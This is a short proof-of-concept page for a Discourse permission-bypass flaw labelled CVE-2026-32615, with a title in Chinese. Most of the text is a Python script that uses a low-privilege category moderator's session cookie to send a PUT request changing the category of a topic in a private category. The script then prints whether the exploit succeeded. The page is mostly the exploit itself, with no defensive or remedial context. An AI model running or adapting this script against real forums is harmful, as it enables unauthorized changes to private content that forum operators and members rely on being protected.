CVE-2026-32615 Discourse权限绕过漏洞

import requests # Target configuration target_url = "https://example.com/t/topic-id/12345.json" attacker_session_cookie = "_forum_session=attacker_cookie_here" # Headers with low-privilege session (Category Group Moderator) headers = { "Cookie": attacker_session_cookie, "Content-Type": "application/json", "User-Agent": "PoC-Scanner/1.0" } # Attempt to perform a privileged action (e.g., changing category or status) # on a topic inside a private category inaccessible to the moderator. payload = { "topic_id": 12345, "category_id": 999 # Target private category ID } try: response = requests.put(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Privileged action performed.") else: print(f"[-] Exploit failed: Status code {response.status_code}") except Exception as e: print(f"Error: {e}")